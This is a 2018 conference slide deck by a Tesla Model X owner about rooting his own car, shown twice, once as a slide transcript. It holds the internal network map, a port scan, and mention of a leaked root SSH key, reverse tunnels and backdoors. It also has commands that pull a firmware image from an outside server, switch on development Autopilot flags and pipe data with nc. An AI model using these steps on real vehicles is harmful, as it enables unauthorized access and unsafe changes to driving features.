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Tesla Hacking
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https://www.slideshare.net/JasperNuyens/tesla-hacking-presentation-wots
Jasper Nuyens

jasper@linux.com

+32478978967

Managing Director 

Linux Belgium

http://www.linuxbe.com

Very interested in EVs since 

Tesla.

Made money with Free and

OpenSource Software 

Training and Consultancy
Content
1. Disclaimer and the obvious questions

2. The car

3. The mission

4. Components and network layout

5. How to access

6. Hacks performed by other people

7. Hacks performed by me

8. How ‘hacker friendly’ are Tesla Service and Elon
Musk?

9. Other questions

10. Q&A
1. Disclaimer and the
obvious questions
Disclaimer

- I am a Tesla customer, not a Tesla supplier or employee. I can

be considered a ‘security researcher’, ‘thinkerer’ or ‘hacker’, not a
‘cracker’.

- Tesla hacking seems dangerous: it is a +2t car with electric propulsion,
electronically steered and with a high voltage battery. Yet all drive controls
keep on working even when 3 Linux systems are restarted during driving.

- Tesla can be considered ‘Hacker Friendly’. When registering as a ‘security
researcher’, Tesla guarantees car warrantee, helps when you would ‘brick
your car’, absolves you from litigation and has a ‘bounty program’.
SMALL Request
Slight conflict of interests between Tesla and
Hackers for now:

- if a new exploit is discovered by creative car owners, and
Tesla finds out how, they close the entry point.

GREAT!

BUT NOT GREAT if it’s the only way to gain access on
your car or help a friend out.

We hope in the future Tesla will allow ‘security researchers’
a simple or controlled way to gain root. To prevent abuse
and enable more FUN!
2. The car
Model X, Enhanced Autopilot 2.0

75kWh battery, premium interior, towing package…
2. The car
“Once you drive electric, there’s no going back”
Range: in practice between 230 and 350km

decreases range: high speed, cold weather

never having to go to the petrol station

start ‘full’ every morning, slow traffic doesn’t increase
consumption

Supercharging network for long distance: charges at 500km per
hour (120kW); no waiting required (lunch, toilet,…) 

Ok to drive 1000km per day without waiting to charge.

Autopilot: driver assist system. I discovered a huge leap 

forward with version 9.0: 2018.39.0.1 and 2018.39.2.1
3. The mission
Tesla’s mission is: “Accelerate the world's 
transition to sustainable energy.”

In our case, we drove 52.000 km in 1,5 year with our
Model X. We generated the electricity from our solar
roof. This avoided air pollution of: 11980kg CO2 plus
all the other nasty stuff we put in the atmosphere.

Ecological footprint of production? About the same as
with ‘old’ cars. And Tesla doesn’t use ‘dirty’ cobalt
from Congo for it’s batteries.

Only ‘vegan’ leather.
4. Components and
network layout
- Instrument Cluster (ic) behind steering wheel

192.168.90.101
- Big screen (cid) 

in the middle

192.168.90.100
- Gateway (gw)

192.168.90.102
- Autopilot (ape)

192.168.90.103
- lb (ape gw)

192.168.90.104
4. Components and
network layout
Instrument Cluster (ic) behind steering wheel

192.168.90.101

Custom version of NVidia Tegra 2 SoC

cat /proc/cpuinfo
Processor : ARMv7 Processor rev 0 (v7l)
processor : 0
BogoMIPS : 897.84
processor : 1
BogoMIPS : 897.84
Features : swp half thumb fastmult vfp edsp vfpv3 vfpv3d16
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x1
CPU part : 0xc09
CPU revision : 0
Hardware : Tegra P852 SKU8 C01
Revision : 0000
Serial : 1f78400042408317


Boots squashfs compressed read-only filesystem, /var is writeable

Steering wheel buttons are attached to the ic and the input is sent 

over Ethernet using the (undocumented) ‘Vehicle API’

Settings are stored in sqlite3 db
4. Components and
network layout
Massive multimedia 19”screen (cid) in the middle of
the car

192.168.90.100
NVIDIA quad core (new cars have it replaced with Intel CPU
based board, like in the Model 3)



Includes a Qt based Web browser, runs Spotify and allows
to control all car settings, doors, keys, sound, and so on…
4. Components and
network layout
root@ic:~# nmap -v -p 1-65535 -sV -O -sS -T5 192.168.90.100
Not shown: 65090 closed ports, 419 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 4ubuntu4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.78
111/tcp open rpcbind 2 (RPC #100000)
2049/tcp open nfs 2-4 (RPC #100003)
4030/tcp open unknown
4032/tcp open unknown
4037/tcp open unknown
4050/tcp open unknown
4060/tcp open unknown
4070/tcp open unknown
4090/tcp open omasgport?
4092/tcp open unknown
4094/tcp open unknown
4096/tcp open bre?
4102/tcp open unknown
4110/tcp open unknown
4160/tcp open unknown
4170/tcp open unknown
4220/tcp open vrml-multi-use?
4280/tcp open unknown
4500/tcp open sae-urn?
20564/tcp open unknown
25956/tcp open unknown
43164/tcp open nlockmgr 1-4 (RPC #100021)
43427/tcp open status 1 (RPC #100024)
43546/tcp open mountd 1-3 (RPC #100005)
4. Components and
network layout
Gateway

192.168.90.102
Runs FreeRTOS on Freescale MPC5668G

592 KB embedded RAM

Is attached to the 6 CAN-busses:

- Trunk, doors,…

- Vehicle speed, engine speed,…

- Chassis

- BFT

- ODBII
4. Components and
network layout
Gateway

192.168.90.102
firmware name: gtw.hex

located on the sd card 

of the CID

In the past, it contained in clear text the (unique) pw to get
acces. Was a ‘point of entry’, closed by Tesla.
5. How to access
Which data paths exist?

Internet:

- nightmare of Elon Musk

- access from the Tesla Android or IOS App

- mothership.tesla.com

Internal Ethernet network:

- physical connection below CID for Service Centers

- physical connection between IC and CID

CAN busses:

- typical ‘old school car modding’, will probably disappear
5. How to access
5. How to access
5. How to access
5. How to access
5. How to access
Careful with the special
connector which provides
power and more (click
mechanism)!
5. How to access
Experiment with how the wiring to the 

Ethernet is done.
5. How to access
Fakra?

4 Ethernet 

wires:

green, orange

green/white

orange/white

Test: steering wheel

audio volume passes

through Ethernet
5. How to access
5. How to access
Better (version 2):
5. How to access
1st way:
Ethernet (Fakra) from CID to switch

Ethernet (Fakra) from IC to switch

Extra ethernet cable below CID for attaching laptop

Ethernet cable for Raspberry Pi for wired and/or
wireless network

Raspberry Pi allows to modify stuff ‘permanently’
without changing something to the rootfs

Easy access at a side panel to ‘reverse’ all changes
(before going back to Tesla Service)
5. How to access
2nd step:
Reverse ssh tunnel directly from CID

-> allows hacking in bed and on holiday :-D

-> allows a chrooted ubuntu on a USB stick
6. Hacks performed by
other people
Tesla itself created ‘Easter Eggs’ like Model X
Chrismas Tree, Mars driving map, drawing app,…

3 minute movie

https://www.youtube.com/watch?v=1fmm6Hg7k1U
6. Hacks performed by
other people
All IC’s can be accessed using the same (leaked) ssh key
for the root account (once you are on the Ethernet network
between IC and CID). Might not remain so after an update?

Ethernet port below CID is only enabled after mothership
opens it for Tesla Service through their

own cryptographically signed applications/internal

network.

Access from IC to CID is restricted (was a dead end).
6. Hacks performed by
other people
Replacing an image on Instrument Cluster
7. Hacks performed by me
Replacing lots of images ‘subtle’ to add the Linux
Belgium logo.
7. Peeking into version 9.0
Configurable through web based API:
Launch an update:
socat	-,icanon=0,echo=0	tcp:192.168.90.100:25956; (on the cid)
or from a laptop: telnet 192.168.90.100 25956
install http://www.yourserver.com:80/some-imagefile.img
Thanks to @nemSoma for the image
As soon as it starts downloading, reconnect all systems.
Turn on the experimental ‘Navigation on Autopilot’ in Europe
(for 1 ride):
curl -s “http://192.168.90.100:4035/set_data_value?name=FEATURE_dasDriveOnNavEnabled&value=true"
curl -s "http://192.168.90.100:4035/set_data_value?name=FEATURE_dasNoConfirmULCEnabled&value=true"
Persistence needs root.
Amazing _next level_ capabilities unlocked!
BUT: obviously we need to be super careful with ‘development’ features.
IT MIGHT VIOLATE REGULATIONS IN CERTAIN REGIONS
http://www.youtube.com/salamimovies
7. Hacks performed by me
Replacing lots of images ‘subtle’ to add the Linux
logo - and a ‘peace’ sign.
7. Hacks performed by me
Images stored in 

/usr/tesla/UI/assets/night/car/modelx/

No permanent changes are made: small script to
bind mount the individual files from /var/added and
relaunch the Qt based IC process (beware of wife).

Re-verifies every minute out of crontab.

root@ic:~# crontab -l
* * * * /teslascript.sh > /dev/null 2>&1
7. Hacks performed by me
cat /teslascript.sh
#!/bin/bash
nohup ssh -i /root/id_dsa root@192.168.90.101 bash /var/added/addedtotesla.sh &
ON IC:
bash /var/added/mount-modfiles.sh
cat mount-modfiles.sh
#!/bin/bash
#if an argument is provided multiple directories are allowed
#first umount
for bindmount in $(mount | grep bind | awk '{ print $1 }')
do
umount $bindmount
done
cd /var/added/modfiles$1
for modfile in $(find . -type f)
do
mount --bind $modfile /$modfile
done
7. Hacks performed by me
Gives:
mount
/dev/mmcblk3p3 on /var type ext3 (rw,noexec,nosuid,nodev,data=ordered,barrier=1,commit=20)
/dev/mmcblk3p4 on /home type ext3 (rw,noexec,nosuid,nodev,data=ordered,barrier=1,commit=20)
none on /var/run type tmpfs (rw)
none on /var/lock type tmpfs (rw)
cid:/opt/navigon on /opt/navigon type nfs (ro,noexec,nosuid,nodev,nolock,soft,fg,intr,retry=1,retrans=10,addr=192.168.90.100)
/var/added/modfiles/home/tesla/.Tesla/data/QtCarClusterSettings.db on /home/tesla/.Tesla/data/QtCarClusterSettings.db type
none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/doors/trunk_closed_paint.png on /usr/tesla/UI/assets/night/car/
modelx/doors/trunk_closed_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/doors/trunk_open.png on /usr/tesla/UI/assets/night/car/modelx/doors/
trunk_open.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/drive/body_paint.png on /usr/tesla/UI/assets/night/car/modelx/drive/
body_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/hero/frunk_open_paint.png on /usr/tesla/UI/assets/night/car/modelx/
hero/frunk_open_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/hero/frunk_closed_paint.png on /usr/tesla/UI/assets/night/car/modelx/
hero/frunk_closed_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/top/frunk_open.png on /usr/tesla/UI/assets/night/car/modelx/top/
frunk_open.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/top/frunk_closed_paint.png on /usr/tesla/UI/assets/night/car/modelx/
top/frunk_closed_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/park/car_paint.png on /usr/tesla/UI/assets/night/car/modelx/park/
car_paint.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/ghost/body-5.png on /usr/tesla/UI/assets/night/car/modelx/ghost/
body-5.png type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/about/badge_model_x.png on /usr/tesla/UI/assets/night/about/badge_model_x.png
type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/cluster/background_noise.jpg on /usr/tesla/UI/assets/night/cluster/
background_noise.jpg type none (rw,bind)
/var/added/modfiles/usr/tesla/UI/assets/night/cluster/hi_res/badges/badge_model_x.png on /usr/tesla/UI/assets/night/cluster/
hi_res/badges/badge_model_x.png type none (rw,bind)
7. Hacks performed by me
And then the script does:
killall -HUP QtCarCluster
The monitoring on the IC will restart the process fairly rapidly (beware
of wife if you do this while driving)
7. Hacks performed by
me
Images stored in 

/usr/tesla/UI/assets/night/car/modelx/

No permanent changes are made: small script to
bind mount the individual files and relaunch the Qt
based IC process (beware of wife).

7. Hacks performed by me
7. Hacks performed by me
Next step…

- Color animation script!

cat moonshine.sh

#!/bin/bash
export DISPLAY=:0.0
while true
do
for color in rgamma ggamma bgamma
do
for gamma in 0.9 0.8 0.7 0.6 0.5 0.4 0.3 0.2 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0
do
xgamma -${color} $gamma 2> /dev/null
sleep 0.1
done
done
done
https://www.youtube.com/watch?v=XfkuS-ypUTU
7. Hacks performed by me
Discovered:

Sound is sent over the Ethernet network :)

cat	gameofthrones.wav | nc 192.168.90.100 4102
Possibility for denial of service attack? (yet not practical)

Special sound format needed: 

file park_assist_red_repeat.wav
park_assist_red_repeat.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz
RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz
Something like this: 

sox -S --norm gameofthrones-orig.wav -c 1 -r 48000 gameofthrones-good-format.wav 
reverse silence 1 0 0.05 reverse 
pad 0 0.100
7. Hacks performed by me
- Every day a new ‘token’ received in:

/var/etc/saccess/tesla1 

- SQLite3 database containing settings

/home/tesla/.Tesla/data/QtCarClusterSettings.db

sqlite3 QtCarClusterSettings.db
sqlite> select key, quote(value) from data;
select key, quote(value) from data where key='DataValues/GUI_developerMode';
DataValues/GUI_developerMode|X’000000010000'
UPDATE data SET value=X'000000010001' WHERE key='DataValues/GUI_developerMode';
7. Hacks performed by me
Root on CID
Obtained though a - now patched - way during an upgrade
mechanism to perform commands on the CID; extracting the
daily changing security token. 

Thanks to someone on TMC forum for helping me!

CID has an Internet connection (through usb-connected ‘parrot’).

-> reverse ssh tunnel for easy remote access

-> extra backdoors to prevent becoming locked out as a result of
an update

Only /var is writeable
7. Hacks performed by me
Root on CID
CID has 2 USB connections in the central display

-> allows to run ARM/Ubuntu in a mounted chrooted
environment

Big display is not rotated at kernel level; QT application
is written rotated.

Fixed with running X applications in a rotated Xephyr
(nested X server).
7. Hacks performed by me
Root on CID
Sound possible with gstreamer.

Possible to display messages on the CID
7. Hacks performed by me
Root on CID - romance mode
For the 4th anniversary of being married to my sweet
wife, i put this into crontab:

*/15 * * * * bash /var/added/romance_mode.sh >/dev/null 2>&1
Executing:

bash /var/added/speak "Kissy, kissie"

/disk/usb.*/freedomev/talk "I love you, Baby!"
7. Hacks performed by me
Root on CID
Romance Mode
https://www.youtube.com/watch?v=w-gLSPzLo6Q
7. Hacks performed by me
Goals
Integrate touchscreen driver and build application
launcher with free software repository

www.FreedomEV.com
www.FreedomEV.com/wiki
www.github.com/jnuyens/freedomev
“Download/extract the tarball to a usb stick, add
one crontab entry in the CID as root and enjoy the
power of the OpenSource community”
7. Hacks performed by me
Goals
Integrate anbox to run Android apps like Waze on
the CID

Allow anybody to contribute fun stuff back easy to
package and distribute.

Fun, Fun, Fun!
8. How ‘hacker friendly’ are
Tesla Service and Elon Musk?
I am not interested in doing illegal things like:

- changing the VIN number (it might help stolen car
sales)

- faking the mileage

- abusing the (free) data usage

I prefer also not to:

- mess with the autopilot (I prefer to live ;)

- mess with the drive motor steering
9. Other questions
9. Other questions
Or use other charging networks…

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Tesla hacking presentation 'jaarbeurs World of Technology and Science' October 2018 utrecht

  • 2. https://www.slideshare.net/JasperNuyens/tesla-hacking-presentation-wots Jasper Nuyens jasper@linux.com +32478978967 Managing Director Linux Belgium http://www.linuxbe.com Very interested in EVs since Tesla. Made money with Free and OpenSource Software Training and Consultancy
  • 3. Content 1. Disclaimer and the obvious questions 2. The car 3. The mission 4. Components and network layout 5. How to access 6. Hacks performed by other people 7. Hacks performed by me 8. How ‘hacker friendly’ are Tesla Service and Elon Musk? 9. Other questions 10. Q&A
  • 4. 1. Disclaimer and the obvious questions Disclaimer - I am a Tesla customer, not a Tesla supplier or employee. I can be considered a ‘security researcher’, ‘thinkerer’ or ‘hacker’, not a ‘cracker’. - Tesla hacking seems dangerous: it is a +2t car with electric propulsion, electronically steered and with a high voltage battery. Yet all drive controls keep on working even when 3 Linux systems are restarted during driving. - Tesla can be considered ‘Hacker Friendly’. When registering as a ‘security researcher’, Tesla guarantees car warrantee, helps when you would ‘brick your car’, absolves you from litigation and has a ‘bounty program’.
  • 5. SMALL Request Slight conflict of interests between Tesla and Hackers for now: - if a new exploit is discovered by creative car owners, and Tesla finds out how, they close the entry point. GREAT! BUT NOT GREAT if it’s the only way to gain access on your car or help a friend out. We hope in the future Tesla will allow ‘security researchers’ a simple or controlled way to gain root. To prevent abuse and enable more FUN!
  • 6. 2. The car Model X, Enhanced Autopilot 2.0 75kWh battery, premium interior, towing package…
  • 7. 2. The car “Once you drive electric, there’s no going back” Range: in practice between 230 and 350km decreases range: high speed, cold weather never having to go to the petrol station start ‘full’ every morning, slow traffic doesn’t increase consumption Supercharging network for long distance: charges at 500km per hour (120kW); no waiting required (lunch, toilet,…) Ok to drive 1000km per day without waiting to charge. Autopilot: driver assist system. I discovered a huge leap forward with version 9.0: 2018.39.0.1 and 2018.39.2.1
  • 8. 3. The mission Tesla’s mission is: “Accelerate the world's  transition to sustainable energy.” In our case, we drove 52.000 km in 1,5 year with our Model X. We generated the electricity from our solar roof. This avoided air pollution of: 11980kg CO2 plus all the other nasty stuff we put in the atmosphere. Ecological footprint of production? About the same as with ‘old’ cars. And Tesla doesn’t use ‘dirty’ cobalt from Congo for it’s batteries. Only ‘vegan’ leather.
  • 9. 4. Components and network layout - Instrument Cluster (ic) behind steering wheel 192.168.90.101 - Big screen (cid) in the middle 192.168.90.100 - Gateway (gw) 192.168.90.102 - Autopilot (ape) 192.168.90.103 - lb (ape gw) 192.168.90.104
  • 10. 4. Components and network layout Instrument Cluster (ic) behind steering wheel 192.168.90.101 Custom version of NVidia Tegra 2 SoC cat /proc/cpuinfo Processor : ARMv7 Processor rev 0 (v7l) processor : 0 BogoMIPS : 897.84 processor : 1 BogoMIPS : 897.84 Features : swp half thumb fastmult vfp edsp vfpv3 vfpv3d16 CPU implementer : 0x41 CPU architecture: 7 CPU variant : 0x1 CPU part : 0xc09 CPU revision : 0 Hardware : Tegra P852 SKU8 C01 Revision : 0000 Serial : 1f78400042408317 Boots squashfs compressed read-only filesystem, /var is writeable Steering wheel buttons are attached to the ic and the input is sent over Ethernet using the (undocumented) ‘Vehicle API’ Settings are stored in sqlite3 db
  • 11. 4. Components and network layout Massive multimedia 19”screen (cid) in the middle of the car 192.168.90.100 NVIDIA quad core (new cars have it replaced with Intel CPU based board, like in the Model 3) Includes a Qt based Web browser, runs Spotify and allows to control all car settings, doors, keys, sound, and so on…
  • 12. 4. Components and network layout root@ic:~# nmap -v -p 1-65535 -sV -O -sS -T5 192.168.90.100 Not shown: 65090 closed ports, 419 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 4ubuntu4 (Ubuntu Linux; protocol 2.0) 53/tcp open domain dnsmasq 2.78 111/tcp open rpcbind 2 (RPC #100000) 2049/tcp open nfs 2-4 (RPC #100003) 4030/tcp open unknown 4032/tcp open unknown 4037/tcp open unknown 4050/tcp open unknown 4060/tcp open unknown 4070/tcp open unknown 4090/tcp open omasgport? 4092/tcp open unknown 4094/tcp open unknown 4096/tcp open bre? 4102/tcp open unknown 4110/tcp open unknown 4160/tcp open unknown 4170/tcp open unknown 4220/tcp open vrml-multi-use? 4280/tcp open unknown 4500/tcp open sae-urn? 20564/tcp open unknown 25956/tcp open unknown 43164/tcp open nlockmgr 1-4 (RPC #100021) 43427/tcp open status 1 (RPC #100024) 43546/tcp open mountd 1-3 (RPC #100005)
  • 13. 4. Components and network layout Gateway 192.168.90.102 Runs FreeRTOS on Freescale MPC5668G
 592 KB embedded RAM Is attached to the 6 CAN-busses: - Trunk, doors,… - Vehicle speed, engine speed,… - Chassis - BFT - ODBII
  • 14. 4. Components and network layout Gateway 192.168.90.102 firmware name: gtw.hex located on the sd card of the CID In the past, it contained in clear text the (unique) pw to get acces. Was a ‘point of entry’, closed by Tesla.
  • 15. 5. How to access Which data paths exist? Internet: - nightmare of Elon Musk - access from the Tesla Android or IOS App - mothership.tesla.com Internal Ethernet network: - physical connection below CID for Service Centers - physical connection between IC and CID CAN busses: - typical ‘old school car modding’, will probably disappear
  • 16. 5. How to access
  • 17. 5. How to access
  • 18. 5. How to access
  • 19. 5. How to access
  • 20. 5. How to access Careful with the special connector which provides power and more (click mechanism)!
  • 21. 5. How to access Experiment with how the wiring to the Ethernet is done.
  • 22. 5. How to access Fakra? 4 Ethernet wires: green, orange green/white orange/white Test: steering wheel audio volume passes through Ethernet
  • 23. 5. How to access
  • 24. 5. How to access Better (version 2):
  • 25. 5. How to access 1st way: Ethernet (Fakra) from CID to switch Ethernet (Fakra) from IC to switch Extra ethernet cable below CID for attaching laptop Ethernet cable for Raspberry Pi for wired and/or wireless network Raspberry Pi allows to modify stuff ‘permanently’ without changing something to the rootfs Easy access at a side panel to ‘reverse’ all changes (before going back to Tesla Service)
  • 26. 5. How to access 2nd step: Reverse ssh tunnel directly from CID -> allows hacking in bed and on holiday :-D -> allows a chrooted ubuntu on a USB stick
  • 27. 6. Hacks performed by other people Tesla itself created ‘Easter Eggs’ like Model X Chrismas Tree, Mars driving map, drawing app,… 3 minute movie https://www.youtube.com/watch?v=1fmm6Hg7k1U
  • 28. 6. Hacks performed by other people All IC’s can be accessed using the same (leaked) ssh key for the root account (once you are on the Ethernet network between IC and CID). Might not remain so after an update? Ethernet port below CID is only enabled after mothership opens it for Tesla Service through their own cryptographically signed applications/internal network. Access from IC to CID is restricted (was a dead end).
  • 29. 6. Hacks performed by other people Replacing an image on Instrument Cluster
  • 30. 7. Hacks performed by me Replacing lots of images ‘subtle’ to add the Linux Belgium logo.
  • 31. 7. Peeking into version 9.0 Configurable through web based API: Launch an update: socat -,icanon=0,echo=0 tcp:192.168.90.100:25956; (on the cid) or from a laptop: telnet 192.168.90.100 25956 install http://www.yourserver.com:80/some-imagefile.img Thanks to @nemSoma for the image As soon as it starts downloading, reconnect all systems. Turn on the experimental ‘Navigation on Autopilot’ in Europe (for 1 ride): curl -s “http://192.168.90.100:4035/set_data_value?name=FEATURE_dasDriveOnNavEnabled&value=true" curl -s "http://192.168.90.100:4035/set_data_value?name=FEATURE_dasNoConfirmULCEnabled&value=true" Persistence needs root. Amazing _next level_ capabilities unlocked! BUT: obviously we need to be super careful with ‘development’ features. IT MIGHT VIOLATE REGULATIONS IN CERTAIN REGIONS http://www.youtube.com/salamimovies
  • 32. 7. Hacks performed by me Replacing lots of images ‘subtle’ to add the Linux logo - and a ‘peace’ sign.
  • 33. 7. Hacks performed by me Images stored in /usr/tesla/UI/assets/night/car/modelx/ No permanent changes are made: small script to bind mount the individual files from /var/added and relaunch the Qt based IC process (beware of wife). Re-verifies every minute out of crontab. root@ic:~# crontab -l * * * * /teslascript.sh > /dev/null 2>&1
  • 34. 7. Hacks performed by me cat /teslascript.sh #!/bin/bash nohup ssh -i /root/id_dsa root@192.168.90.101 bash /var/added/addedtotesla.sh & ON IC: bash /var/added/mount-modfiles.sh cat mount-modfiles.sh #!/bin/bash #if an argument is provided multiple directories are allowed #first umount for bindmount in $(mount | grep bind | awk '{ print $1 }') do umount $bindmount done cd /var/added/modfiles$1 for modfile in $(find . -type f) do mount --bind $modfile /$modfile done
  • 35. 7. Hacks performed by me Gives: mount /dev/mmcblk3p3 on /var type ext3 (rw,noexec,nosuid,nodev,data=ordered,barrier=1,commit=20) /dev/mmcblk3p4 on /home type ext3 (rw,noexec,nosuid,nodev,data=ordered,barrier=1,commit=20) none on /var/run type tmpfs (rw) none on /var/lock type tmpfs (rw) cid:/opt/navigon on /opt/navigon type nfs (ro,noexec,nosuid,nodev,nolock,soft,fg,intr,retry=1,retrans=10,addr=192.168.90.100) /var/added/modfiles/home/tesla/.Tesla/data/QtCarClusterSettings.db on /home/tesla/.Tesla/data/QtCarClusterSettings.db type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/doors/trunk_closed_paint.png on /usr/tesla/UI/assets/night/car/ modelx/doors/trunk_closed_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/doors/trunk_open.png on /usr/tesla/UI/assets/night/car/modelx/doors/ trunk_open.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/drive/body_paint.png on /usr/tesla/UI/assets/night/car/modelx/drive/ body_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/hero/frunk_open_paint.png on /usr/tesla/UI/assets/night/car/modelx/ hero/frunk_open_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/hero/frunk_closed_paint.png on /usr/tesla/UI/assets/night/car/modelx/ hero/frunk_closed_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/top/frunk_open.png on /usr/tesla/UI/assets/night/car/modelx/top/ frunk_open.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/top/frunk_closed_paint.png on /usr/tesla/UI/assets/night/car/modelx/ top/frunk_closed_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/park/car_paint.png on /usr/tesla/UI/assets/night/car/modelx/park/ car_paint.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/car/modelx/ghost/body-5.png on /usr/tesla/UI/assets/night/car/modelx/ghost/ body-5.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/about/badge_model_x.png on /usr/tesla/UI/assets/night/about/badge_model_x.png type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/cluster/background_noise.jpg on /usr/tesla/UI/assets/night/cluster/ background_noise.jpg type none (rw,bind) /var/added/modfiles/usr/tesla/UI/assets/night/cluster/hi_res/badges/badge_model_x.png on /usr/tesla/UI/assets/night/cluster/ hi_res/badges/badge_model_x.png type none (rw,bind)
  • 36. 7. Hacks performed by me And then the script does: killall -HUP QtCarCluster The monitoring on the IC will restart the process fairly rapidly (beware of wife if you do this while driving)
  • 37. 7. Hacks performed by me Images stored in /usr/tesla/UI/assets/night/car/modelx/ No permanent changes are made: small script to bind mount the individual files and relaunch the Qt based IC process (beware of wife). 7. Hacks performed by me
  • 38. 7. Hacks performed by me Next step… - Color animation script! cat moonshine.sh #!/bin/bash export DISPLAY=:0.0 while true do for color in rgamma ggamma bgamma do for gamma in 0.9 0.8 0.7 0.6 0.5 0.4 0.3 0.2 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 do xgamma -${color} $gamma 2> /dev/null sleep 0.1 done done done https://www.youtube.com/watch?v=XfkuS-ypUTU
  • 39. 7. Hacks performed by me Discovered: Sound is sent over the Ethernet network :) cat gameofthrones.wav | nc 192.168.90.100 4102 Possibility for denial of service attack? (yet not practical) Special sound format needed: file park_assist_red_repeat.wav park_assist_red_repeat.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz Something like this: sox -S --norm gameofthrones-orig.wav -c 1 -r 48000 gameofthrones-good-format.wav reverse silence 1 0 0.05 reverse pad 0 0.100
  • 40. 7. Hacks performed by me - Every day a new ‘token’ received in: /var/etc/saccess/tesla1 - SQLite3 database containing settings /home/tesla/.Tesla/data/QtCarClusterSettings.db sqlite3 QtCarClusterSettings.db sqlite> select key, quote(value) from data; select key, quote(value) from data where key='DataValues/GUI_developerMode'; DataValues/GUI_developerMode|X’000000010000' UPDATE data SET value=X'000000010001' WHERE key='DataValues/GUI_developerMode';
  • 41. 7. Hacks performed by me Root on CID Obtained though a - now patched - way during an upgrade mechanism to perform commands on the CID; extracting the daily changing security token. Thanks to someone on TMC forum for helping me! CID has an Internet connection (through usb-connected ‘parrot’). -> reverse ssh tunnel for easy remote access -> extra backdoors to prevent becoming locked out as a result of an update Only /var is writeable
  • 42. 7. Hacks performed by me Root on CID CID has 2 USB connections in the central display -> allows to run ARM/Ubuntu in a mounted chrooted environment Big display is not rotated at kernel level; QT application is written rotated. Fixed with running X applications in a rotated Xephyr (nested X server).
  • 43. 7. Hacks performed by me Root on CID Sound possible with gstreamer. Possible to display messages on the CID
  • 44. 7. Hacks performed by me Root on CID - romance mode For the 4th anniversary of being married to my sweet wife, i put this into crontab: */15 * * * * bash /var/added/romance_mode.sh >/dev/null 2>&1 Executing: bash /var/added/speak "Kissy, kissie" /disk/usb.*/freedomev/talk "I love you, Baby!"
  • 45. 7. Hacks performed by me Root on CID Romance Mode https://www.youtube.com/watch?v=w-gLSPzLo6Q
  • 46. 7. Hacks performed by me Goals Integrate touchscreen driver and build application launcher with free software repository www.FreedomEV.com www.FreedomEV.com/wiki www.github.com/jnuyens/freedomev “Download/extract the tarball to a usb stick, add one crontab entry in the CID as root and enjoy the power of the OpenSource community”
  • 47. 7. Hacks performed by me Goals Integrate anbox to run Android apps like Waze on the CID Allow anybody to contribute fun stuff back easy to package and distribute. Fun, Fun, Fun!
  • 48. 8. How ‘hacker friendly’ are Tesla Service and Elon Musk? I am not interested in doing illegal things like: - changing the VIN number (it might help stolen car sales) - faking the mileage - abusing the (free) data usage I prefer also not to: - mess with the autopilot (I prefer to live ;) - mess with the drive motor steering
  • 50. 9. Other questions Or use other charging networks…